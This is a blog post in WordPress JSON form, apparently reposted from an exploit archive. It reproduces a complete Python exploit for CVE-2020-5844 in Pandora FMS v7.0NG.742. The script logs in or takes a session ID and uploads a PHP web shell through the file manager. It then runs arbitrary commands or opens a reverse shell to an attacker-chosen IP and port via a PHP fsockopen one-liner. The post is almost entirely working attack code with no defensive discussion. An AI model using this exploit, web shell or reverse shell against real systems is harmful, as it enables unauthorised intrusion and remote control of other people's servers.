{"id":25944,"date":"2022-06-20T07:00:02","date_gmt":"2022-06-20T03:00:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167503\/pandorafms70ng732-exec.txt"},"modified":"2022-06-26T08:52:40","modified_gmt":"2022-06-26T04:22:40","slug":"pandora-fms-7-0ng-742-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pandora-fms-7-0ng-742-remote-code-execution\/","title":{"rendered":"Pandora FMS 7.0NG.742 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Pandora FMS v7.0NG.742 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 05\/20\/2022<br \/>\n# Exploit Author: UNICORD (NicPWNs &amp; Dev-Yeoj)<br \/>\n# Vendor Homepage: https:\/\/pandorafms.com\/<br \/>\n# Software Link: https:\/\/sourceforge.net\/projects\/pandora\/files\/Pandora%20FMS%207.0NG\/742_FIX_PERL2020\/Tarball\/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz<br \/>\n# Version: v7.0NG.742<br \/>\n# Tested on: Pandora FMS v7.0NG.742 (Ubuntu)<br \/>\n# CVE: CVE-2020-5844<br \/>\n# Source: https:\/\/github.com\/UNICORDev\/exploit-CVE-2020-5844<br \/>\n# Description: index.php?sec=godmode\/extensions&amp;sec2=extensions\/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/env python3<\/p>\n<p dir=\"ltr\"># Imports<br \/>\ntry:<br \/>\nimport requests<br \/>\nexcept:<br \/>\nprint(f&#8221;ERRORED: RUN: pip install requests&#8221;)<br \/>\nexit()<br \/>\nimport sys<br \/>\nimport time<br \/>\nimport urllib.parse<\/p>\n<p dir=\"ltr\"># Class for colors<br \/>\nclass color:<br \/>\nred = &#8216;\\033[91m&#8217;<br \/>\ngold = &#8216;\\033[93m&#8217;<br \/>\nblue = &#8216;\\033[36m&#8217;<br \/>\ngreen = &#8216;\\033[92m&#8217;<br \/>\nno = &#8216;\\033[0m&#8217;<\/p>\n<p dir=\"ltr\"># Print UNICORD ASCII Art<br \/>\ndef UNICORD_ASCII():<br \/>\nprint(rf&#8221;&#8221;&#8221;<br \/>\n{color.red} _ __,~~~{color.gold}\/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}<br \/>\n{color.red} ,~~`( )_( )-\\| {color.blue}\/ \/ \/ \/ |\/ \/ _\/ ___\/ __ \\\/ _ \\\/ _ \\{color.no}<br \/>\n{color.red} |\/| `&#8211;. {color.blue}\/ \/_\/ \/ \/\/ \/\/ \/__\/ \/_\/ \/ , _\/ \/\/ \/{color.no}<br \/>\n{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\\____\/_\/|_\/___\/\\___\/\\____\/_\/|_\/____\/{color.green}&#8230;.{color.no}<br \/>\n&#8220;&#8221;&#8221;)<\/p>\n<p dir=\"ltr\"># Print exploit help menu<br \/>\ndef help():<br \/>\nprint(r&#8221;&#8221;&#8221;UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) &#8211; Remote Code Execution<\/p>\n<p dir=\"ltr\">Usage:<br \/>\npython3 exploit-CVE-2020-5844.py -t &lt;target-IP&gt; &lt;target-port&gt; -u &lt;username&gt; &lt;password&gt;<br \/>\npython3 exploit-CVE-2020-5844.py -t &lt;target-IP&gt; &lt;target-port&gt; -p &lt;PHPSESSID&gt;<br \/>\npython3 exploit-CVE-2020-5844.py -t &lt;target-IP&gt; &lt;target-port&gt; -p &lt;PHPSESSID&gt; [-c &lt;custom-command&gt;]\npython3 exploit-CVE-2020-5844.py -t &lt;target-IP&gt; &lt;target-port&gt; -p &lt;PHPSESSID&gt; [-s &lt;local-ip&gt; &lt;local-port&gt;]\npython3 exploit-CVE-2020-5844.py -t &lt;target-IP&gt; &lt;target-port&gt; -p &lt;PHPSESSID&gt; [-w &lt;name.php&gt;]\npython3 exploit-CVE-2020-5844.py -h<\/p>\n<p dir=\"ltr\">Options:<br \/>\n-t Target host and port. Provide target IP address and port.<br \/>\n-u Target username and password. Provide username and password to log in to Pandora FMS.<br \/>\n-p Target valid PHP session ID. No username or password needed. (Optional)<br \/>\n-s Reverse shell mode. Provide local IP address and port. (Optional)<br \/>\n-c Custom command mode. Provide command to execute. (Optional)<br \/>\n-w Web shell custom mode. Provide custom PHP file name. (Optional)<br \/>\n-h Show this help menu.<br \/>\n&#8220;&#8221;&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\"># Pretty loading wheel<br \/>\ndef loading(spins):<\/p>\n<p dir=\"ltr\">def spinning_cursor():<br \/>\nwhile True:<br \/>\nfor cursor in &#8216;|\/-\\\\&#8217;:<br \/>\nyield cursor<\/p>\n<p dir=\"ltr\">spinner = spinning_cursor()<br \/>\nfor _ in range(spins):<br \/>\nsys.stdout.write(next(spinner))<br \/>\nsys.stdout.flush()<br \/>\ntime.sleep(0.1)<br \/>\nsys.stdout.write(&#8216;\\b&#8217;)<\/p>\n<p dir=\"ltr\"># Run the exploit<br \/>\ndef exploit(exploitMode, targetSess):<\/p>\n<p dir=\"ltr\">UNICORD_ASCII()<\/p>\n<p dir=\"ltr\"># Print initial variables<br \/>\nprint(f&#8221;{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) &#8211; Remote Code Execution{color.no}&#8221;)<br \/>\nprint(f&#8221;{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}&#8221;)<br \/>\nif targetSess is not None:<br \/>\nprint(f&#8221;{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}&#8221;)<br \/>\nelif targetUser is not None:<br \/>\nprint(f&#8221;{color.blue}USERNAME: {color.gold}{targetUser}{color.no}&#8221;)<br \/>\nprint(f&#8221;{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}&#8221;)<\/p>\n<p dir=\"ltr\">if exploitMode == &#8220;command&#8221;:<br \/>\nprint(f&#8221;{color.blue}COMMAND: {color.gold}{command}{color.no}&#8221;)<br \/>\nif exploitMode == &#8220;web&#8221;:<br \/>\nprint(f&#8221;{color.blue}WEBFILE: {color.gold}{webName}{color.no}&#8221;)<br \/>\nif exploitMode == &#8220;shell&#8221;:<br \/>\nprint(f&#8221;{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}&#8221;)<br \/>\nprint(f&#8221;{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}&#8221;)<br \/>\nprint(f&#8221;{color.blue}WEBSITE: {color.gold}http:\/\/{targetIP}:{targetPort}\/pandora_console{color.no}&#8221;)<\/p>\n<p dir=\"ltr\">loading(15)<\/p>\n<p dir=\"ltr\"># If a PHPSESSID is not provided, grab one with valid username and password<br \/>\nif targetSess is None:<br \/>\ntry:<br \/>\ngetSession = requests.post(f&#8221;http:\/\/{targetIP}:{targetPort}\/pandora_console\/index.php?login=1&#8243;, data={&#8220;nick&#8221;: targetUser, &#8220;pass&#8221;: targetPass, &#8220;login_button&#8221;: &#8220;login&#8221;})<br \/>\ntargetSess = getSession.cookies.get(&#8216;PHPSESSID&#8217;)<br \/>\nprint(f&#8221;{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}&#8221;)<br \/>\nif &#8220;login_move&#8221; in getSession.text:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}&#8221;)<br \/>\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\"># Set headers, parameters, and cookies for post request<br \/>\nheaders = {<br \/>\n&#8216;Host&#8217;: f'{targetIP}&#8217;,<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) Gecko\/20100101 Firefox\/91.0&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8217;,<br \/>\n&#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;308045185511758964171231871874&#8217;,<br \/>\n&#8216;Content-Length&#8217;: &#8216;1289&#8217;,<br \/>\n&#8216;Connection&#8217;: &#8216;close&#8217;,<br \/>\n&#8216;Referer&#8217;: f&#8217;http:\/\/{targetIP}:{targetPort}\/pandora_console\/index.php?sec=gsetup&amp;sec2=godmode\/setup\/file_manager&#8217;,<br \/>\n&#8216;Upgrade-Insecure-Requests&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;Sec-Fetch-Dest&#8217;: &#8216;document&#8217;,<br \/>\n&#8216;Sec-Fetch-Mode&#8217;: &#8216;navigate&#8217;,<br \/>\n&#8216;Sec-Fetch-Site&#8217;: &#8216;same-origin&#8217;,<br \/>\n&#8216;Sec-Fetch-User&#8217;: &#8216;?1&#8217;<br \/>\n}<br \/>\nparams = (<br \/>\n(&#8216;sec&#8217;, &#8216;gsetup&#8217;),<br \/>\n(&#8216;sec2&#8217;, &#8216;godmode\/setup\/file_manager&#8217;)<br \/>\n)<br \/>\ncookies = {&#8216;PHPSESSID&#8217;: targetSess}<br \/>\n# Basic PHP web shell with &#8216;cmd&#8217; parameter<br \/>\ndata = f&#8217;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;file&#8221;; filename=&#8221;{webName}&#8221;\\r\\nContent-Type: application\/x-php\\r\\n\\r\\n&lt;?php system($_GET[\\&#8217;cmd\\&#8217;]);?&gt;\\n\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;umask&#8221;\\r\\n\\r\\n\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;decompress_sent&#8221;\\r\\n\\r\\n1\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;go&#8221;\\r\\n\\r\\nGo\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;real_directory&#8221;\\r\\n\\r\\n\/var\/www\/pandora\/pandora_console\/images\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;directory&#8221;\\r\\n\\r\\nimages\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;hash&#8221;\\r\\n\\r\\n6427eed956c3b836eb0644629a183a9b\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;hash2&#8243;\\r\\n\\r\\n594175347dddf7a54cc03f6c6d0f04b4\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874\\r\\nContent-Disposition: form-data; name=&#8221;upload_file_or_zip&#8221;\\r\\n\\r\\n1\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;308045185511758964171231871874&#8211;\\r\\n&#8217;<\/p>\n<p dir=\"ltr\"># Try to upload the PHP web shell to the server<br \/>\ntry:<br \/>\nresponse = requests.post(f&#8217;http:\/\/{targetIP}:{targetPort}\/pandora_console\/index.php&#8217;, headers=headers, params=params, cookies=cookies, data=data, verify=False)<br \/>\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Could not connect to website!{color.no}&#8221;)<br \/>\nexit()<br \/>\nstatusCode=response.status_code<br \/>\nif statusCode == 200:<br \/>\nprint(f&#8221;{color.blue}EXPLOIT: {color.gold}Connected to website! Status Code: {statusCode}{color.no}&#8221;)<br \/>\nelse:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Could not connect to website! Status Code: {statusCode}{color.no}&#8221;)<br \/>\nexit()<br \/>\nloading(15)<\/p>\n<p dir=\"ltr\">print(f&#8221;{color.blue}EXPLOIT: {color.gold}Logged into Pandora FMS!{color.no}&#8221;)<br \/>\nloading(15)<\/p>\n<p dir=\"ltr\"># Print web shell location if in web shell mode<br \/>\nif exploitMode == &#8220;web&#8221;:<br \/>\nprint(f&#8221;{color.blue}EXPLOIT: {color.gold}Web shell uploaded!{color.no}&#8221;)<br \/>\nprint(f&#8221;{color.blue}SUCCESS: {color.green}Web shell available at: http:\/\/{targetIP}:{targetPort}\/pandora_console\/images\/{webName}?cmd=whoami {color.no}\\n&#8221;)<\/p>\n<p dir=\"ltr\"># Run custom command on web shell if in command mode<br \/>\nif exploitMode == &#8220;command&#8221;:<br \/>\nresponse = requests.get(f&#8217;http:\/\/{targetIP}:{targetPort}\/pandora_console\/images\/{webName}?cmd={urllib.parse.quote_plus(command)}&#8217;)<br \/>\nprint(f&#8221;{color.blue}SUCCESS: {color.green}Command executed! Printing response below:{color.no}\\n&#8221;)<br \/>\nprint(response.text)<\/p>\n<p dir=\"ltr\"># Run reverse shell command if in reverse shell mode<br \/>\nif exploitMode == &#8220;shell&#8221;:<br \/>\nshell = f&#8221;php -r \\&#8217;$sock=fsockopen(\\&#8221;{localIP}\\&#8221;,{localPort});exec(\\&#8221;\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\\&#8221;);\\'&#8221;<br \/>\ntry:<br \/>\nrequests.get(f&#8217;http:\/\/{targetIP}:{targetPort}\/pandora_console\/images\/{webName}?cmd={urllib.parse.quote_plus(shell)}&#8217;,timeout=1)<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Reverse shell could not connect! Make sure you have a local listener on {color.gold}{localIP}:{localPort}{color.no}\\n&#8221;)<br \/>\nexcept:<br \/>\nprint(f&#8221;{color.blue}SUCCESS: {color.green}Reverse shell executed! Check your local listener on {color.gold}{localIP}:{localPort}{color.no}\\n&#8221;)<\/p>\n<p dir=\"ltr\">exit()<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<\/p>\n<p dir=\"ltr\">args = [&#8216;-h&#8217;,&#8217;-t&#8217;,&#8217;-u&#8217;,&#8217;-p&#8217;,&#8217;-s&#8217;,&#8217;-c&#8217;,&#8217;-w&#8217;]\nmodes = {&#8216;web&#8217;:&#8217;Web Shell Mode&#8217;,&#8217;command&#8217;:&#8217;Command Shell Mode&#8217;,&#8217;shell&#8217;:&#8217;Reverse Shell Mode&#8217;}<\/p>\n<p dir=\"ltr\"># Initialize starting variables<br \/>\ntargetIP = None<br \/>\ntargetPort = None<br \/>\ntargetUser = None<br \/>\ntargetPass = None<br \/>\ntargetSess = None<br \/>\ncommand = None<br \/>\nlocalIP = None<br \/>\nlocalPort = None<br \/>\nwebName = &#8220;unicord.php&#8221; # Default web shell file name<br \/>\nexploitMode = &#8220;web&#8221; # Default to web shell mode<\/p>\n<p dir=\"ltr\"># Print help if specified or if a target or authentication is not provided<br \/>\nif args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv):<br \/>\nhelp()<\/p>\n<p dir=\"ltr\"># Collect target IP and port from CLI<br \/>\nif args[1] in sys.argv:<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[1]) + 1]:<br \/>\nraise<br \/>\ntargetIP = sys.argv[sys.argv.index(args[1]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide a target port! \\&#8221;-t &lt;target-IP&gt; &lt;target-port&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[1]) + 2]:<br \/>\nraise<br \/>\ntargetPort = sys.argv[sys.argv.index(args[1]) + 2]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide a target port! \\&#8221;-t &lt;target-IP&gt; &lt;target-port&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\"># Collect target username and password from CLI<br \/>\nif args[2] in sys.argv:<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[2]) + 1]:<br \/>\nraise<br \/>\ntargetUser = sys.argv[sys.argv.index(args[2]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide both a username and password! \\&#8221;-u &lt;username&gt; &lt;password&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[2]) + 2]:<br \/>\nraise<br \/>\ntargetPass = sys.argv[sys.argv.index(args[2]) + 2]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide both a username and password! \\&#8221;-u &lt;username&gt; &lt;password&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\"># Collect PHPSESSID from CLI, if specified<br \/>\nif args[3] in sys.argv:<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[3]) + 1]:<br \/>\nraise<br \/>\ntargetSess = sys.argv[sys.argv.index(args[3]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide a valid PHPSESSID! \\&#8221;-p &lt;PHPSESSID&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\"># Set reverse shell mode from CLI, if specified<br \/>\nif args[4] in sys.argv:<br \/>\nexploitMode = &#8220;shell&#8221;<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[4]) + 1]:<br \/>\nraise<br \/>\nlocalIP = sys.argv[sys.argv.index(args[4]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \\&#8221;-s &lt;local-IP&gt; &lt;local-port&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\ntry:<br \/>\nif &#8220;-&#8221; in sys.argv[sys.argv.index(args[4]) + 2]:<br \/>\nraise<br \/>\nlocalPort = sys.argv[sys.argv.index(args[4]) + 2]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \\&#8221;-s &lt;local-IP&gt; &lt;local-port&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\nexploit(exploitMode,targetSess)<\/p>\n<p dir=\"ltr\"># Set custom command mode from CLI, if specified<br \/>\nelif args[5] in sys.argv:<br \/>\nexploitMode = &#8220;command&#8221;<br \/>\ntry:<br \/>\nif sys.argv[sys.argv.index(args[5]) + 1] in args:<br \/>\nraise<br \/>\ncommand = sys.argv[sys.argv.index(args[5]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide a custom command! \\&#8221;-c &lt;command&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\nexploit(exploitMode,targetSess)<\/p>\n<p dir=\"ltr\"># Set web shell mode from CLI, if specified<br \/>\nelif args[6] in sys.argv:<br \/>\nexploitMode = &#8220;web&#8221;<br \/>\ntry:<br \/>\nif sys.argv[sys.argv.index(args[6]) + 1] in args:<br \/>\nraise<br \/>\nif &#8220;.php&#8221; not in sys.argv[sys.argv.index(args[6]) + 1]:<br \/>\nwebName = sys.argv[sys.argv.index(args[6]) + 1] + &#8220;.php&#8221;<br \/>\nelse:<br \/>\nwebName = sys.argv[sys.argv.index(args[6]) + 1]\nexcept:<br \/>\nprint(f&#8221;{color.blue}ERRORED: {color.red}Provide a custom PHP file name! \\&#8221;-c &lt;name.php&gt;\\&#8221;{color.no}&#8221;)<br \/>\nexit()<br \/>\nexploit(exploitMode,targetSess)<\/p>\n<p dir=\"ltr\"># Run with default web shell mode if no mode is specified<br \/>\nelse:<br \/>\nexploit(exploitMode,targetSess)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Pandora FMS v7.0NG.742 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 05\/20\/2022 # Exploit Author: UNICORD (NicPWNs &amp; Dev-Yeoj) # Vendor Homepage: https:\/\/pandorafms.com\/ # Software Link: https:\/\/sourceforge.net\/projects\/pandora\/files\/Pandora%20FMS%207.0NG\/742_FIX_PERL2020\/Tarball\/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz # Version: v7.0NG.742 # Tested on: Pandora FMS v7.0NG.742 (Ubuntu) # CVE: CVE-2020-5844 # Source: https:\/\/github.com\/UNICORDev\/exploit-CVE-2020-5844 # Description: index.php?sec=godmode\/extensions&amp;sec2=extensions\/files_repo in Pandora FMS v7.0 NG allows &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25944","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25944","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25944"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25944\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25944"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25944"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25944"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}